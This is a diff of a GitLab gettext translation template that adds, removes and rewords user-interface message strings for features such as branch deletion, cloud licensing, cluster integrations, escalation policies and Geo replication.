+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5482,6 +5602,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5494,6 +5617,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5563,6 +5698,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5575,9 +5713,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5644,9 +5788,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5695,15 +5836,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5713,6 +5854,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6406,7 +6550,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6790,72 +6934,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7018,6 +7096,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -7060,12 +7144,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7228,6 +7306,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7312,9 +7393,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7375,7 +7453,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7471,9 +7549,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7486,9 +7561,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7585,9 +7657,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7726,9 +7795,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7741,9 +7807,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -8017,6 +8080,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8161,6 +8233,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8299,9 +8374,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8422,6 +8494,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8485,6 +8560,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8644,6 +8722,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9325,9 +9406,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9358,9 +9436,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9412,6 +9487,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9463,6 +9541,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9496,6 +9577,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9823,27 +9907,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -10066,9 +10129,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10288,9 +10357,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10657,6 +10723,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11380,22 +11449,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11404,6 +11479,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11431,6 +11509,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11452,6 +11533,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11464,21 +11548,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11545,15 +11641,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11581,6 +11677,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11809,7 +11908,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11824,6 +11923,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11833,9 +11950,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11950,9 +12064,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -12007,6 +12118,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12136,13 +12250,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12220,6 +12334,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12265,9 +12382,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12289,9 +12403,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12961,9 +13072,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12976,12 +13084,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -13090,6 +13204,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13151,7 +13313,10 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13795,6 +13960,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13819,9 +13987,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13849,9 +14014,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13870,9 +14032,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13915,9 +14074,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13933,7 +14089,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14185,6 +14341,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14290,6 +14455,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14308,6 +14476,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14335,6 +14506,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14602,6 +14782,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14629,6 +14812,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14656,6 +14842,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14680,6 +14869,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14707,6 +14899,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14752,6 +14947,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14764,10 +14962,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14932,6 +15136,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14944,10 +15154,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15193,9 +15406,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15292,16 +15502,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15334,9 +15547,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15391,6 +15601,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15469,7 +15682,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15583,6 +15796,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15643,6 +15859,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15664,13 +15883,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15733,6 +15955,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -16051,9 +16276,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -16090,22 +16312,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16177,7 +16408,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
